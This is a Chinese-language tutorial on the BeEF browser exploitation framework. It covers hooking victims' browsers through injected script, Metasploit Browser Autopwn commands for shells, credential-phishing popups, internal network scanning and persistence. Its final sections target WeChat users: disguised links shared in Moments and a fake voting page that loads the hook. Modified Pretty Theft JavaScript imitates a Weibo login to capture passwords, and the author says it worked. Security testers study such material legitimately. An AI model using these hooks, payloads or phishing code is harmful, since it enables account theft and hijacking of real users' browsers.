0×00 前言


http://www.vuln.cn/6966

BeEF,全称The Browser Exploitation Framework,是一款针对浏览器的渗透测试工具。 目前对其测试的文章不是很多,所以希望通过本次测试给大家带来全新的认识。

这里写图片描述

0×01 简介


工具主页:http://beefproject.com

工具框架:

这里写图片描述

0×02 测试环境


攻击主机:

操作系统:Kali 1.0
IP:192.168.16.245

测试主机:

操作系统:Win7x86
IP:192.168.16.197

路由器:

WooyunWifi
开启JS注入功能

这里写图片描述

Tips:

WooyunWifi开启JS注入功能后会对用户访问的页面加入JS代码,如果JS代码设置成如下格式,那么运行后会在BeEF控制端返回一个shelldocument.write("<script language='javascript' src='http://192.168.16.245:3000/hook.js'></script>");默认情况下JS注入附带缓存投毒功能,将视图缓存所有的页面至2099年,但可以通过清除所有缓存及浏览数据来清除缓存投毒的影响。

这里写图片描述

0×03 BeEF参数配置


BeEF在Kali下默认安装,直接找到对应图标启动即可,但是默认设置未同Metasploit关联,无法使用msf模块,因此需要作如下配置连接msf

1、修改config.yaml

编辑
/usr/share/beef-xss/config.yaml

metasploit:enable: false改为true

这里写图片描述

编辑
/usr/share/beef-xss/extensions/demos/config.yaml

enable:true改为false

编辑
/usr/share/beef-xss/extensions/metasploit/config.yaml

设置ssl: truessl_version: 'TLSv1'

这里写图片描述

2、启动msf服务

service postgresql start
service metasploit start
msfconsole
load msgrpc ServerHost=127.0.0.1 User=msf Pass=abc123 SSL=y

3、运行BeEF.rb

cd /usr/share/beef-xss/
/usr/share/beef-xss/beef

(启动后不要关闭,不然登录界面会提示密码错误)

这里写图片描述

4、启动BeEF

弹出浏览器,输入默认用户名口令beef,即可登陆

主界面如图

这里写图片描述

0×04 功能介绍


对基本功能做全面介绍,高级用法以后会做补充

1-信息收集

1、浏览器信息 可收集:

浏览器名称版本
浏览器用户版本
插件(包括Java,ActiveX,VBS,Flash……)
窗口大小

收集方法:

(1)自动默认收集信息
如图

这里写图片描述

(2)插件收集信息
如图

这里写图片描述

Tips:

模块图标不同颜色对应不同的使用效果
绿色:适用当前浏览器
橙色:适用当前浏览器,但易被用户发现,social engineering模块默认为橙色
红色:不适于当前浏览器,但仍可尝试

2、系统信息

可收集:

安装的软件(适用于IE下,Detect Software模块)
注册表键值(适用于IE下,此时会弹出提示消息)
内网IP(Java模块得到授权)
系统详情(通过JavaApplet获取系统版本、Java VM details、NIC names and IP、处理器、内存、屏幕显示模式)
定位(通过Google maps)
剪贴板信息(会弹出提示消息)

如图

这里写图片描述

这里写图片描述

这里写图片描述

3、用户行为

可收集:

用户是否访问过某URL、domain
是否登录特定网站账号
是否使用TOR

如图

这里写图片描述

2-社会工程

如果使用BeEF控制了浏览器,那么就可以修改整个页面来尝试社会工程学

1、提交登录信息

简单粗暴往往是最有效的

Pretty Theft模块:

在网页弹出诱骗消息需要用户输入登录和密码,并解释该会话已超时

选择的登录框模板,如图

这里写图片描述

配置后用户浏览器界面,如图

这里写图片描述

当用户输入信息后,自动获取,如图

这里写图片描述

Simple Hijacker模块:

劫持网页上面的所有链接,当用户点击任意链接时弹出诱骗消息,如果用户接着点击会跳转到指定域名
如图

这里写图片描述

这里写图片描述

Clippy模块:

创建一个浏览器助手提示用户点击
如图

这里写图片描述

2、重定向

Rediret Browser模块:

将当前页面重定向至指定页面,有可能导致当前权限丢失

Rediret Browser(iframe)模块:

将当前页面重定向至指定页面,,同时保留当前连接,可以维持当前浏览器权限
如图

这里写图片描述

这里写图片描述

TabNabbing模块:

当检测用户不在当前页面时启动定时器,倒计时结束后自动重定向至指定页面
如图

这里写图片描述

3、Chrome/Firefox extensions

Fake Flash Update模块:

提示用户安装Adobe Flash Player的更新,用户点击后会下载指定文件
如图

这里写图片描述

Chrome Extensions 系列:

值得尝试

这里写图片描述

4、补充

Clickjacking模块:

可以使用multi-click clickjacking,判断当前用户鼠标位置,在不同位置可触发不同JS代码
如图,鼠标后面跟随一个iframe

这里写图片描述

这里写图片描述

3-网络扫描

通过JavaScript,可以尝试利用浏览器扫描内网

1、获取内网IP

Get Internal IP WebRTC模块:

通过WebRTC获取内网IP

Get Internal IP模块:

通过Java Socket class获取内网IP

2、识别局域网子网

识别内网网关,如图

这里写图片描述

3、识别HTTP Servers

识别内网web servers

4、ping操作

调用ping命令扫描内网

Ping Sweep模块 Ping Sweep (Java)模块

如图

这里写图片描述

5、跨域扫描

6、DNS枚举

如图

这里写图片描述

7、端口扫描

Port Scanner模块

如图

这里写图片描述

这里写图片描述

8、网络指纹特征扫描

用来扫描内网中的Web服务器和网络设备

Fingerprint Network模块

如图

这里写图片描述

9、Remote CSRFs

10、IRC NAT Pinning

模拟浏览器的IRC通信,可用来绕过防火墙

11、网络拓扑

BeEF可根据扫描获得的信息绘制内网网络拓扑 如图

这里写图片描述

这里写图片描述

这里写图片描述

此部分会在以后详细介绍

4-结合Metasploit

1、Metasploit系列模块

如图

这里写图片描述

2、Browser Autopwn

反弹回meterpreter

方法:

(1)使用Metasploit的Browser Autopwn功能生成BrowserAutoPwn URL

use auxiliary/server/browser_autopwn
show options
set LHOST 192.168.16.245
set SRVHOST 192.168.16.245
set SRVPORT 8881
run -z

生成一个链接,如图

这里写图片描述

这里写图片描述

(2)使用"Create Invisible Iframe"模块加载autopwn页面

如图

这里写图片描述

(3)等待弹回shell

sessions -l

5-Tunneling

代理功能

方法:

1、选择控制的浏览器

如图

这里写图片描述

2、浏览器代理设置

HTTP Proxy:127.0.0.1
Port:6789

如图

这里写图片描述

细节以后补充

3、访问同样网站,查看本机浏览器页面同被控浏览器页面内容是否相同(即不需要cookie可实现登录账号)

6-XSS

如图

这里写图片描述

细节以后补充

7-维持权限

1、Create Pop Under模块

创建一个新窗口,如图

这里写图片描述

反弹一个新权限,如图

这里写图片描述

2、Confirm Close Tab模块

当用户关闭当前页面时,反复弹出确认是否关闭页面的消息

3、Create Foreground iFrame模块 修改当前页面所有链接来避免离开当前页面
比如用户点击某个连接,会将新页面显示在当前页面上面,注意的是网址不会发送改变,如图:

这里写图片描述

正常访问的页面为:(注意看地址栏)

这里写图片描述

4、Man In The Browser模块

可拦截修改页面内所有链接,当用户点击当前页面的任意链接后仍可维持权限(必须是同源的页面)
如果用户手动更改URL地址栏,无法维持权限

0×05 小结


本文仅对BeEF的基本功能做了全面介绍,更多高级技巧很值得研究,例如利用BeEF内网渗透,利用代理不通过cookie登陆账户突破IP限制绑定等等。

测试过程难免会有疏忽遗漏,理解错误的地方欢迎指正,共同进步。

本文由三好学生原创并首发于乌云drops,转载请注明

0×06 补充


对手机平台的微信使用BeEF进行模拟测试

手机系统:

Android

1、上线方法:

1、扫描二维码

扫描后在BeEF控制端看到手机上线,如图

这里写图片描述

对此页面进行Google Phishing欺骗,如图

这里写图片描述

注:

在微信上面特别的地方在于此处无法看到包含的真实URL地址

2、朋友圈分享

将BeEF的上线地址做一下简单的伪装并分享到朋友圈,如图

这里写图片描述

在朋友圈中同样无法看到包含的真实URL地址,打开即为BeEF的hook页面,如图

这里写图片描述

3、朋友发来的链接

将此消息直接发给朋友,如图

这里写图片描述

我们可以看到伪造前的URL地址

注:

BeEF的hook页面可以自定义成更具欺骗性的内容,这是为了演示方便使用默认界面

2、微信浏览器被Hook后可以做哪些操作

也许有人会提出疑问:手机打开网址持续的时间很短,关闭当前页面后BeEF的shell就会下线

解决方法:

使用BeEF API,用户上线后能够自动执行批量命令,结合Persistence模块能够极大提高shell存活时间

除了与windows系统相关的信息无法获取,其他操作均能成功执行,并且BeEF为手机劫持提供了专门的模块系列——Phonegap,如图

这里写图片描述

以下是经测试可以在Android上使用的模块:

1、弹框
2、重定向
3、查看是否访问过某些网站
4、Creates an invisible iframe
5、Social Engineering系列,如下图,仅作演示
6、msf系列
7、NetWork系列,可以用来扫描同一内网下的windows主机

这里写图片描述

注:

加载hook页面后,将手机屏幕关闭处于待机状态,BeEF仍然可以执行指令,或许这与手机系统相关,值得以后深入测试。

0×07 利用朋友圈投票社工微博帐号实例


1、伪造BeEF的hook页面

1、寻找模板

随机找到一个投票的页面,保存为html

http://mp.weixin.qq.com/s?__biz=MzA3MTM0NTgyNw==&mid=400240804&idx=1&sn=d87655d4c67a8f39fc84b3cdcb4c1895&scene=1&srcid=1024yDcPJI2to0i3DmiVmj1L&from=groupmessage&isappinstalled=0#rd

2、替换hook页面

use/share/beef-xss/extensions/demos/html目录下,将上述html文件命名为basic.html并添加以下代码

var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js"
type="text/javascript"><\/script>';document.write(commandModuleStr);

如图

这里写图片描述

这里写图片描述

上线页面已被修改

2、修改BeEFsocial_engineering模块

修改弹出对话框样式

将此文件use/share/beef-xss/modules/social_engineering/pretty_theft/command.js内容 对应部分替换如下:

// Facebook floating divfunction facebook() {sneakydiv = document.createElement('div');sneakydiv.setAttribute('id', 'popup');sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:2%; z-index:51; background-color:ffffff;');document.body.appendChild(sneakydiv);// Set appearance using styles, maybe cleaner way to do this with CSS block?var windowborder = 'style="width:330px;background:white;border:10px #999999 solid;border-radius:8px"';var windowmain = 'style="border:1px #555 solid;"';var tbarstyle = 'style="color: rgb(255, 255, 255); background-color: rgb(255, 102, 0);font-size: 13px;font-family:tahoma,verdana,arial,sans-serif;font-weight: bold;padding: 5px;padding-left:8px;text-align: left;height: 18px;"';var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"';var messagestyle = 'style="align:left;font-size:11px;font-family:tahoma,verdana,arial,sans-serif;margin:10px 15px;line-height:12px;height:40px;"';var box_prestyle = 'style="color: grey;font-size: 11px;font-weight: bold;font-family: tahoma,verdana,arial,sans-serif;padding-left:30px;"';var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color: rgb(255,102,0);"'; var buttonstyle = 'style="font-size: 13px;background:#ff6600;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"';var title = '微博手机版安全登录';var messagewords = '请输入您的用户名密码登录后进行投票。<br/><br/>我们将对您的投票信息严格保密。';var buttonLabel = '<input type="button" name="ok" value="登录" id="ok" ' +buttonstyle+ ' onClick="document.getElementById(\'buttonpress\').value=\'true\'" onMouseOver="this.bgColor=\'#00CC00\'" onMouseOut="this.bgColor=\'#009900\'" bgColor=#009900>';// Build page including stylessneakydiv.innerHTML= '<div id="window_container" '+windowborder+ '><div id="windowmain" ' +windowmain+ '><div id="title_bar" ' +tbarstyle+ '>' +title+ '</div><p id="message" ' +messagestyle+ '>' + messagewords + '</p><table><tr><td align="right"> <div id="box_pre" ' +box_prestyle+ '>邮箱/会员帐号/手机号: </div></td><td align="left"><input type="text" id="uname" value="" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td align="right"><div id="box_pre" ' +box_prestyle+ '>密码: </div></td><td align="left"><input type="password" id="pass" name="pass" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr></table>' + '<div id="bottom_bar" ' +bbarstyle+ '>' +buttonLabel+ '<input type="hidden" id="buttonpress" name="buttonpress" value="false"/></div></div></div>';// Repeatedly check if button has been pressedcredgrabber = setInterval(checker,1000);}

3、实际操作

1、微信朋友圈发布投票消息,如图

这里写图片描述

用户点击后会打开我们伪造的投票页面,同时隐蔽加载hook.js,在BeEF端上线

2、在用户手机弹出模拟微博登录的对话框

如图执行Pretty Theft模块

这里写图片描述

用户手机界面如图,弹出对话框提示输入登录消息

这里写图片描述

BeEF控制端返回用户输入消息,如图

这里写图片描述

3、用户提交后重定向至另一页面

BeEF控制端使用Redirect Browser(iFrame)模块,如图

这里写图片描述

用户手机界面如图

这里写图片描述

至此,通过朋友圈投票获得微博帐号成功实现。

浏览器利用框架BeEF测试相关推荐

  1. 浏览器利用框架BeEF测试-成功截取微博账号

    0x00 前言 BeEF,全称The Browser Exploitation Framework,是一款针对浏览器的渗透测试工具. 目前对其测试的文章不是很多,所以希望通过本次测试给大家带来全新的认 ...

  2. 浏览器攻击框架BeEF Part 4:绕过同源策略与浏览器代理

    前言 从这一章开始,正式进入了攻击阶段.BeEF提供了大量的攻击模块,可以直接使用.除了已有的模块,BeEF还提供了API,可以使用API来自行开发新的攻击模块.这一章,要介绍如何绕过同源策略,还会介 ...

  3. 浏览器攻击框架BeEF Part 2:初始化控制

    前言 在上一章,笔者已经介绍了BeEF框架.在这一章,笔者将介绍攻击浏览器技术的第一步:初始控制. 浏览器攻击方法流程 攻击浏览器一般分为几个阶段,看下图: 整个过程分为三个步骤,第一步是初始化控制, ...

  4. 浏览器攻击框架BeEF Part 5:攻击Web应用与攻击网络

    前言 上一章介绍了Tunneling Proxy技术以及怎样使用这项技术来绕过httponly实现高级的会话窃取.本章探讨如何在不违反SOP情况下,通过勾连浏览器攻击Web应用与攻击网络.其中有一些攻 ...

  5. 怎样利用超图客户端打点_渗透测试——XSS利用工具BeEF攻击演示

    跨站脚本漏洞(Cross-site scripting,通常简称为XSS)发生在客户端,可被用于进行窃取隐私.钓鱼欺骗.窃取密码.传播恶意代码等攻击.XSS攻击使用到的技术主要为HTML和Javasc ...

  6. 10个自动化测试框架,测试工程师用起来

    快速实现质量是必要的,因此质量保证得到了很多关注.为了满足卓越的质量和更快的上市时间的需求,自动化测试将被优先考虑.对于微型.小型和中型企业(SMEs)来说,自动化自身的测试过程是非常必要的,而最关键 ...

  7. 华为python自动化测试框架_10个自动化测试框架,测试工程师用起来

    摘要:快速实现质量是必要的,因此质量保证得到了很多关注.为了满足卓越的质量和更快的上市时间的需求,自动化测试将被优先考虑.对于微型.小型和中型企业(SMEs)来说,自动化自身的测试过程是非常必要的,而 ...

  8. selenium浏览器自动化测试框架文档(修正版)

    写在最前面:目前自动化测试并不属于新鲜的事物,或者说自动化测试的各种方法论已经层出不穷,但是,能够在项目中持之以恒的实践自动化测试的团队,却依旧不是非常多.有的团队知道怎么做,做的还不够好:有的团队还 ...

  9. routersploit 路由器漏洞检测及利用框架

    RouteSploit框架是一款开源的漏洞检测及利用框架,其针对的对象主要为路由器等嵌入式设备. 框架功能 RouteSploit框架主要由可用于渗透测试的多个功能模块组件组成, 1. Scanner ...

  10. 利用swagger组件测试excel下载,打开文件乱码。

    最近项目遇到个问题,就是利用swagger下载excel时,得到的文件打开总是乱码,首先怀疑是response的content-type有问题,将application试遍了,"x-msdo ...

最新文章

  1. cmake编译出错:No CMAKE_CXX_COMPILER could be found.
  2. php数组合并如何不覆盖,php如何实现合并数组并且不覆盖重复值
  3. HDLBits 系列(42)根据仿真波形来设计电路之时序逻辑
  4. 开发日记-20190522 关键词 读书笔记《鸟哥的Linux私房菜-基础学习篇》
  5. ClickHouse表引擎
  6. PTA19、通过两个列表构建字典 (10 分)
  7. Easyui Datagrid的Rownumber行号显示问题
  8. oracle取时间间隔天,如何掌握 Oracle 中的时间间隔型数据(转)
  9. apache 搭建PHP多站点
  10. JSP 的“4379”
  11. Citrix XenDesktop如何发布LocalApp
  12. (7)Spring框架----面向切面编程(一个简单的约定游戏)
  13. MySQL全局锁库锁表
  14. Java程序的方法设计
  15. Excel中的空值与数值比较
  16. 365天历史时间顺序读经计划表
  17. 使用wine在mac系统上运行windows程序
  18. R studio caret package 安装
  19. 15款Java程序员必备的开发工具(转)
  20. 安徽省计算机学校排名,2018“中国最好学科排名”公布 安徽这14所高校上榜

热门文章

  1. 在网页设计中如何排版
  2. 转发 微博 Qzone 微信 iPhone 11曝光,卢伟冰怒批的5伏1安亮了,网友:价格才是重点
  3. ubuntu16.04无法调节屏幕亮度
  4. 【Watir Webdriver】自动化上传照片到百度相册
  5. javaweb学习(5)--Cookie
  6. FIRST 和 FOLLOW求解
  7. Android Studio 设置背景色、修改前进后退快捷键
  8. 计算机比赛训练总结500字,比赛活动总结500字(精选7篇)
  9. Mac使用技巧:M1芯片的电脑恢复模式如何开启
  10. 《人生哲理》二.人生苦短,别懂得太晚了...